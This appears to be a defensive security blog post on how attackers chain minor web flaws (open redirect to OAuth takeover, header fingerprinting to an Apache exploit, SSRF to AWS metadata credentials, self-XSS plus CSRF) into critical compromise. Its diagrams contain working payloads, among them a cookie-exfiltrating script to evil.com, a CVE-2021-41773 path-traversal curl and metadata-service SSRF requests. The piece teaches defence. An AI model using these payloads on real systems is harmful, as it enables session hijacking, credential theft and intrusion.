How Modern Attackers Chain Small Web Vulnerabilities Into Critical Compromise
Nobody needs a zero-day anymore. They just need three bugs you forgot to fix.
In September 2024, CISA and the FBI issued a joint advisory about the Ivanti Cloud Service Appliance attack. The incident didn’t involve a single catastrophic flaw. Four moderate vulnerabilities were exploited in sequence — an admin bypass, a SQL injection for credentials, and two remote code execution bugs — and the result was full network compromise.
<cite index=”21–1">On September 22, 2024, the CISA and FBI issued a joint advisory exposing active exploitation of Ivanti Cloud Service Appliances. The attackers began with CVE-2024–8963, an admin bypass, followed by CVE-2024–9379, a SQL injection flaw to steal credentials. They completed the attack using CVE-2024–8190 and CVE-2024–9380 for remote code execution and web shell persistence.</cite>
Zero critical CVEs. One critical outcome.
This is the central problem modern defenders face: individual vulnerability scores don’t tell you what attackers actually do with them. CVSS rates bugs in isolation. Attackers think in sequences.
🔗 What Vulnerability Chaining Actually Is
Chaining is the practice of exploiting multiple vulnerabilities in sequence, where each step creates the precondition for the next. <cite index=”19–1">A seemingly minor information disclosure can serve as reconnaissance that sets the stage for privilege escalation. An overlooked IDOR, when chained with an authentication bypass, can escalate into exposure of millions of customer records. A “non-exploitable” XSS can evolve into full admin account takeover when paired with CSRF.</cite>
The math isn’t additive. It’s multiplicative.
A P4 open redirect sitting next to an OAuth flow isn’t a P4 anymore. <cite index=”27–1">When combined with OAuth authentication flows, open redirects can lead to OAuth token hijacking, resulting in full account takeovers — a high-severity vulnerability that many companies fail to secure properly.</cite> The open redirect closed as informational. The account takeover was the actual risk. Most triage processes never connect the two.
What follows are four real chain patterns, the steps that build them, and the defensive control that breaks each one.
⛓️ Chain 1 — Open Redirect → OAuth → Account Takeover
Individual severities: Low + None = Critical
This is the most commonly missed chain in web app security. OAuth is built on trust in registered redirect URIs. Open redirects let you route through a trusted domain to anywhere.
ATTACK FLOW
─────────────────────────────────────────────────────────────── Attacker Target App Victim
│ │ │
│ 1. Find open redirect │ │
│ /redirect?url=evil.com │ │
│ │ │
│ 2. Craft OAuth link: │ │
│ /oauth/start? │ │
│ redirect_uri=target.com │ │
│ /redirect?url=evil.com │ │
│ │ │
│ 3. Send link to victim │ │
│─────────────────────────────────────────────────────►│
│ │ │
│ │ 4. Victim authenticates │
│ │◄─────────────────────────│
│ │ │
│ │ 5. OAuth server sends │
│ │ ?code=ABC to redirect │
│ │ URI (target.com) ✓ │
│ │ │
│ │ 6. target.com bounces │
│ ◄──────────────────────────────── to evil.com?code= │
│ ABC │
│ 7. Exchange code → token │
│ 8. Full account access ✓ │The OAuth server did nothing wrong. It honored a registered domain. The open redirect — logged as informational — was the actual attack surface.
HackerOne #665651: An open redirect on login.fr.cloud.gov's redirect_uri parameter allowed attacker-controlled sites to receive OAuth tokens, yielding a High severity finding and a $750 bounty. The platform rated the redirect itself as non-critical. The chain elevated it immediately.
The fix that breaks this chain: Validate redirect_uri against an exact allowlist, never a prefix or substring match. One redirect endpoint that passes ?url= to arbitrary destinations is enough to collapse the entire OAuth trust model.
⛓️ Chain 2 — Information Disclosure → Version Fingerprint → CVE Exploit
Individual severities: Informational + Public CVE = Critical
<cite index=”11–1">Headers like X-Powered-By will often advertise the exact supporting service and its version. An attacker could leverage a published exploit to easily compromise the API and its system.</cite>
This chain requires no clever technique. It requires a version number and five minutes in a CVE database.
ATTACK FLOW
─────────────────────────────────────────────────────────────── curl -sI https://target.com
│
▼
Response Headers:
┌─────────────────────────────────────┐
│ Server: Apache/2.4.49 (Ubuntu) │ ← Version leaked
│ X-Powered-By: PHP/7.4.3 │ ← Framework leaked
│ X-Generator: Drupal 7.58 │ ← CMS leaked
└─────────────────────────────────────┘
│
▼
NVD / Searchsploit lookup:
┌─────────────────────────────────────┐
│ CVE-2021-41773 Apache 2.4.49 │
│ Path Traversal → RCE (CVSS 9.8) │ ← Publicly weaponized
└─────────────────────────────────────┘
│
▼
curl "http://target.com/cgi-bin/.%2e/.%2e/bin/sh"
→ Remote code execution confirmedApache 2.4.49 (CVE-2021–41773) is the canonical example — a path traversal flaw actively exploited in the wild within 48 hours of disclosure. The header that revealed the version was rated informational. The exploit it enabled was critical.
The fix that breaks this chain: Remove or sanitize Server, X-Powered-By, X-Generator, and X-AspNet-Version headers at the reverse proxy layer. Nginx: server_tokens off. Apache: ServerTokens Prod. This doesn't fix the underlying vulnerability — but it eliminates the automated reconnaissance that makes mass exploitation efficient.
⛓️ Chain 3 — SSRF → Cloud IMDS → Full AWS Compromise
Individual severities: Medium SSRF + Misconfigured IAM = Critical / Infrastructure Takeover
Server-Side Request Forgery ranks among the most dangerous bugs on cloud-hosted infrastructure precisely because it doesn’t need to exfiltrate data directly — it needs to reach one IP: 169.254.169.254.
ATTACK FLOW
───────────────────────────────────────────────────────────────[1] Find SSRF endpoint
POST /fetch?url=http://169.254.169.254/ │
▼ [2] Access AWS IMDS (IMDSv1, no auth required)
GET http://169.254.169.254/latest/meta-data/
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/ │
▼ [3] Retrieve temporary IAM credentials
┌──────────────────────────────────────────┐
│ { │
│ "AccessKeyId": "ASIA...", │
│ "SecretAccessKey": "wJalrXUt...", │
│ "Token": "AQoXnyc...", │
│ "Expiration": "2025-07-28T..." │
│ } │
└──────────────────────────────────────────┘ │
▼ [4] Enumerate permissions
aws sts get-caller-identity
aws iam list-attached-role-policies │
▼ [5] Exploit overpermissioned role
→ s3:GetObject on all buckets → data exfiltration
→ ec2:* → spin up instances, lateral movement
→ iam:* → create new admin user, persistence
This is not theoretical. <cite index=”35–1">In March 2025, F5 Labs documented a coordinated campaign targeting websites hosted on EC2 instances, specifically exploiting SSRF vulnerabilities to access IMDSv1. The campaign demonstrated organized, persistent targeting of AWS metadata services.</cite> The bug wasn’t the SSRF alone — it was the SSRF running on an instance with an overpermissioned IAM role attached.
Get CYBER MIND SPACE’s stories in your inbox
Join Medium for free to get updates from this writer.
<cite index=”40–1">A single SSRF vulnerability can escalate to full AWS account compromise, cross-account access, or complete infrastructure takeover depending on IAM role permissions and pivot opportunities.</cite>
The fix that breaks this chain: Two independent controls, either of which stops the attack: (1) Enforce IMDSv2 — it requires a session token via PUT request, which most SSRF vulnerabilities cannot issue. (2) Apply least-privilege IAM roles — even a successful IMDS hit returns credentials with near-zero blast radius if the role has only the permissions the application actually needs.
⛓️ Chain 4 — Self-XSS + Missing CSRF = Admin Account Takeover
Individual severities: Low + Low = High
Self-XSS is the bug that closes itself — you can only inject it into your own session, so triagers mark it informational and move on. But pair it with a missing CSRF token on the endpoint that saves the injected value, and the attack surface changes completely.
ATTACK FLOW
───────────────────────────────────────────────────────────────[1] Find Self-XSS in profile field
Input: <script>document.location='https://evil.com?c='+document.cookie</script>
Result: only fires in your own account → rated Low [2] Check if the save-profile endpoint has CSRF protection
POST /account/settings
Content-Type: application/x-www-form-urlencoded
bio=<script>...</script>
→ No CSRF token in request ✓ (missing) [3] Build CSRF page targeting admin account
<html>
<body onload="document.forms[0].submit()">
<form method="POST" action="https://target.com/account/settings">
<input name="bio" value='<script>evil payload</script>'/>
</form>
</body>
</html> [4] Trick admin into visiting CSRF page
→ Admin's bio gets overwritten with XSS payload
→ Next time admin views their own profile: payload fires
→ Admin cookie exfiltrated → Session hijacked → Full admin access
<cite index=”22–1">A combination of a low severity Self-XSS vulnerability combined with a lack of CSRF protection could allow an attacker to send malicious XSS payloads to other users.</cite> Both bugs individually close as non-critical. Together they produce admin account takeover.
The fix that breaks this chain: CSRF tokens on every state-changing endpoint. If the save-profile request requires a per-session, non-predictable token, the CSRF page cannot forge a valid request — and the Self-XSS is immediately contained to the attacker’s own account again.
🧠 The Attacker’s Mental Model
Defenders evaluate bugs one at a time. Attackers evaluate what each bug enables.
<cite index=”25–1">Attackers spot what each finding enables next and adapt when a planned step fails. Chains often hit walls; pivoting to alternate uses of a vulnerability is essential.</cite>
The right question after finding any low-severity bug is not “what’s the CVSS score?” It’s: what does this give me access to that I couldn’t reach before?
An open redirect answers: access to OAuth flows. An information disclosure answers: access to version-specific exploits. An SSRF answers: access to internal services and cloud metadata. A Self-XSS answers: a payload delivery mechanism, if CSRF gives it reach.
Every low-severity bug is a potential first link. The chain’s severity is determined by what’s reachable at the end — not by any single node.
🛡️ Defensive Guidance — Break the Chain, Not Just the Bug
Fixing every vulnerability in isolation is expensive and slow. Breaking chain dependencies is faster and higher-leverage.
Chain DependencyDefensive BreakImpactOpen redirect used in OAuthExact-match redirect URI allowlistCollapses Chain 1 entirelyVersion headers enabling CVE lookupStrip server/framework headers at proxyEliminates automated fingerprintingSSRF reaching cloud metadataEnforce IMDSv2, least-privilege IAMStops Chain 3 at the escalation stepCSRF enabling XSS reachCSRF tokens on all state-changing endpointsContains Self-XSS to attacker’s own sessionChaining enabled by no detectionAlert on sequential auth failures, unexpected internal requestsDetects chain in progress before completion
<cite index=”19–1">Deploy multiple independent controls at every layer. When attackers successfully exploit one vulnerability, the next control should stop their progress. Defense-in-depth ensures breaking any chain link stops the attack.</cite>
A chain fails at its weakest link — from the defender’s perspective. The goal is to make that weakest link robust enough that the attacker can’t complete the sequence, even if they identify every individual bug.
📌 TL;DR
→ Individual CVSS scores don’t reflect chain impact. A P4 + a P4 can be a P1. → Four common chains: Open Redirect → OAuth ATO, Fingerprint → CVE Exploit, SSRF → Cloud Admin, Self-XSS + CSRF → Session Hijack. → The Ivanti 2024 attack chained four moderate CVEs into full network compromise. → Attacker logic: what does this bug enable next? — not “what’s the severity?” → Break chain dependencies, not just individual bugs. → Report chains as a single finding. The severity is the endpoint, not the starting bug.
References
- CISA/FBI Joint Advisory — Ivanti CSA exploitation chain, September 2024
- HackerOne Report #665651 — OAuth token theft via open redirect, login.fr.cloud.gov
- HackerOne Report #905607 — Open redirect chained with OAuth ATO, cs.money
- F5 Labs — SSRF to AWS IMDS credential theft campaign, March 2025
- Meta BountyCon 2024 — Path traversal + DLL hijacking, $111,750 payout
- OWASP Top 10 2021 — A10: SSRF, A01: Broken Access Control
